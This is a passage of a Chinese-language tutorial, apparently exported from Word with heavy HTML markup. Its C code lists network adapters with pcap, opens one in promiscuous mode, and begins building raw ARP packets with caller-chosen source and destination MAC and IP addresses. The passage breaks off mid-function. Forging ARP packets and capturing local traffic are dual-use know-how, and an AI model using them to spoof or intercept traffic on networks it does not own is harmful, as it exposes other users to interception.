style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;do&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(scanf(&#8220;%d&#8221;,&amp;choose)!=1&nbsp;||&nbsp;choose&lt;1&nbsp;||choose&gt;i);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=1;&nbsp;i!=choose;&nbsp;p=p-&gt;next,i++);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;strcat(devbuff,p-&gt;name);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(ipbuff,NULL,15);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;a=p-&gt;addresses;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;strcat(ipbuff,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_freealldevs(alldevs);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5217\u51fa\u672c\u673a\u6240\u6709\u7f51\u5361\u540e\uff0c\u81ea\u7136\u8981\u6253\u5f00\u6211\u4eec\u9009\u62e9\u7684\u7f51\u5361\uff0c\u83b7\u53d6\u5176\u63cf\u8ff0\u5b57\uff0c\u4ee5\u4f9b\u7a0b\u5e8f\u540e\u7eed\u4f7f\u7528\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;pcap_t&nbsp;*OpenAdapter(char&nbsp;*devName)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4f20\u5165\u7f51\u5361\u540d\uff0c\u8fd4\u56de\u6b64\u7f51\u5361\u63cf\u8ff0\u5b57\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuf[PCAP_ERRBUF_SIZE];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u8bbe\u5907\u540d&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536&nbsp;\u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6df7\u6742\u6a21\u5f0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;\/\/&nbsp;\u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u9519\u8bef\u7f13\u51b2\u533a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;))==NULL)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;hpcap;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u63a5\u4e0b\u6765\u5c31\u5230\u4e86\u6700\u91cd\u8981\u7684\u4e00\u6b65\uff0c\u586b\u5145ARP\u6570\u636e\u5305\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;void&nbsp;Fill_ARPPACKET(char&nbsp;*ARPPacket,int&nbsp;packetsize,char&nbsp;*desmac,char&nbsp;*desIP,char&nbsp;*srcmac,char&nbsp;*srcip,int&nbsp;op)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/*&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*ARPPacket&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*desmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*desIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*srcmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*srcip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARP\u5305\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=(DLCHEADER&nbsp;*)ARPPacket;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFRAME&nbsp;*ARPFrame=(ARPFRAME&nbsp;*)(ARPPacket+sizeof(DLCHEADER));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPPacket,NULL,packetsize);&nbsp;&nbsp;\/\/\u6e05\u7a7a\u5305\u5185\u5bb9&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 